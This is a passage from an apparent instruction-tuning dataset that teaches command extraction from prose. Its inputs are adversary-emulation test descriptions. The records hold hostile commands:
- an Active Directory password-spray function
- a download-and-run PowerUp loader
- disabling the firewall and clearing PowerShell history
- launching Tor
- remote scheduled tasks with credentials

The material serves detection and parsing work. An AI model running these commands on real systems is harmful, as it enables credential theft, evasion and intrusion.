    "output": "{\"command_list\": [\"function Invoke-dpsLight ($Password, $userlist) {\\n$users = Get-Content $userlist\\n$Domain = \\\"LDAP://\\\" + ([ADSI]\\\"\\\").distinguishedName\\nforeach ($User in $users) {\\n  $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain, $User, $Password)\\n  if ($Domain_check.name -ne $null) {\\n    Write-Host -ForegroundColor Green \\\"Password found for User:$User Password:$Password\\\"\\n  }\\n  else { Write-Host \\\". \\\" -NoNewline}\\n}\\nWrite-Host -ForegroundColor green \\\"Finished\\\"\\n}\\nInvoke-dpsLight \\\"#{password}\\\" $env:Temp\\\\usersdpsLight.txt\\n\", \"import-module \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\MSOLSpray.ps1\\\"\\nInvoke-MSOLSpray -UserList \\\"#{user_list}\\\" -Password \\\"#{password}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Psiphon 3, a circumvention tool that combines VPN, SSH, and HTTP Proxy technologies, can be launched using the following command: & \"PathToAtomicsFolder\\T1090.003\\src\\Psiphon.bat\". The connection will be automatically terminated shortly after initiation.; The Tor proxy service can be started with this command, running for 60 seconds before automatically terminating:\ninvoke-expression 'cmd /c start powershell -Command {cmd /c \"#{TorExe}\"}'\nsleep -s 60\nstop-process -name \"tor\" | out-null\n",
    "output": "{\"command_list\": [\"& \\\"PathToAtomicsFolder\\\\T1090.003\\\\src\\\\Psiphon.bat\\\"\\n\", \"invoke-expression 'cmd /c start powershell -Command {cmd /c \\\"#{TorExe}\\\"}'\\nsleep -s 60\\nstop-process -name \\\"tor\\\" | out-null\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This operation creates a temporary copy of macOS mail data and cleans it up with the command: mkdir ~/Library/Mail/copy\ncp -R ~/Library/Mail/* ~/Library/Mail/copy\nrm -rf ~/Library/Mail/copy/*; This operation copies Windows mail data and modifies it with the command: New-Item -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -ItemType Directory -ErrorAction Ignore\nGet-ChildItem -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -Recurse -Force -ErrorAction Ignore }\nGet-ChildItem -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -File | ForEach-Object { Add-Content -Path $_.FullName -Value \"Modification for Atomic Red Test\" -ErrorAction Ignore }\n",
    "output": "{\"command_list\": [\"mkdir ~/Library/Mail/copy\\ncp -R ~/Library/Mail/* ~/Library/Mail/copy\\nrm -rf ~/Library/Mail/copy/*\\n\", \"New-Item -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -ItemType Directory -ErrorAction Ignore\\nGet-ChildItem -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -Recurse -Force -ErrorAction Ignore }\\nGet-ChildItem -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -File | ForEach-Object { Add-Content -Path $_.FullName -Value \\\"Modification for Atomic Red Test\\\" -ErrorAction Ignore }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify remote systems with file and print sharing enabled, use the following command sequence: net view /domain\nnet view\n; The output will be displayed via stdout when you execute this command against Active Directory to list the Domain Computers group: net group \"Domain Computers\" /domain",
    "output": "{\"command_list\": [\"net view /domain\\nnet view\\n\", \"net group \\\"Domain Computers\\\" /domain\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    After successful execution, a scheduled task will be created to launch cmd.exe at 20:10 using the following command: SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}; The following command establishes a daily scheduled task on a remote system to spawn cmd.exe at the specified time: SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN \"Atomic task\" /TR \"#{task_command}\" /SC daily /ST #{time}",
    "output": "{\"command_list\": [\"SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}\\n\", \"SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN \\\"Atomic task\\\" /TR \\\"#{task_command}\\\" /SC daily /ST #{time}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Windows Firewall can be disabled by an attacker via the command: netsh firewall set opmode mode=disable; To test firewall rule creation, use the following command: New-NetFirewallRule -DisplayName \"New rule\" -Direction \"#{direction}\" -LocalPort \"#{local_port}\" -Protocol \"#{protocol}\" -Action \"#{action}\"",
    "output": "{\"command_list\": [\"netsh firewall set opmode mode=disable\\n\", \"New-NetFirewallRule -DisplayName \\\"New rule\\\" -Direction \\\"#{direction}\\\" -LocalPort \\\"#{local_port}\\\" -Protocol \\\"#{protocol}\\\" -Action \\\"#{action}\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To clear the PowerShell history, use the following command: Remove-Item (Get-PSReadlineOption).HistorySavePath; The current session won't record any commands in the history file when you use the following setting: Set-PSReadLineOption -AddToHistoryHandler { return $false }",
    "output": "{\"command_list\": [\"Remove-Item (Get-PSReadlineOption).HistorySavePath\\n\", \"Set-PSReadLineOption -AddToHistoryHandler { return $false }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
